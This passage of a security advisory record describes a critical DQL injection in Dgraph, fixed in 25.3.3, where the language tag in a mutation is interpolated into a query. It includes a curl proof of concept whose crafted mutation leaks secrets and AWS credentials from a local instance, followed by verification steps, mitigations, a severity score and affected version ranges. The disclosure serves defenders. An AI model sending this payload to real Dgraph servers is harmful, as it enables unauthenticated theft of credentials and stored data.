{\"dgraph.type\":\"ServiceAccount\",\"name\":\"prod-s3-backup\",\"aws_access_key_id\":\"AKIAIOSFODNN7EXAMPLE\",\"aws_secret_access_key\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}\n  ]}'\n\n# Exploit: single request exfiltrates everything\ncurl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"set\":[{\"uid\":\"_:x\",\"name@en,\\\"x\\\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #\":\"anything\"}]}' \\\n  | python3 -m json.tool\n```\n\n### What to verify\n\n1. HTTP POST returns 200 (endpoint is reachable without auth)\n2. Response contains `data.queries.leak` with an array of nodes\n3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means\n4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow\n\n## 10. Mitigations and Patch\n\n**Location:** `edgraph/server.go`, `addQueryIfUnique` (line 1778) and `x/x.go`, `PredicateLang` (line 919)\n\n1. **Validate `nq.Lang`:** Add validation in `validateKeys` (or a new `validateLang` function) that restricts the `Lang` field to BCP 47 language tags: `^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)*$`. Reject any `Lang` value containing parentheses, braces, quotes, `#`, newlines, or other DQL-significant characters.\n2. **Parameterize DQL queries:** Replace the `fmt.Sprintf` query construction in `addQueryIfUnique` with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string.\n3. **Escape at the sink:** If parameterization is not immediately feasible, escape DQL-significant characters (`)`, `{`, `}`, `\"`, `#`, newlines) in both `predicateName` and `val` before interpolation at line 1808.\n4. **Defense in depth:** After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one `var(...)` block per unique predicate. Any additional blocks indicate injection.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dgraph-io/dgraph/v25"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "25.3.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dgraph-io/dgraph/v24"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "24.1.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dgraph-io/dgraph"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.2.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-x92x-px7w-4gx4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41328"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dgraph-io/dgraph"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-943" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-24T15:41:42Z",
    "nvd_published_at" : "2026-04-24T19:17:12Z"
  }
}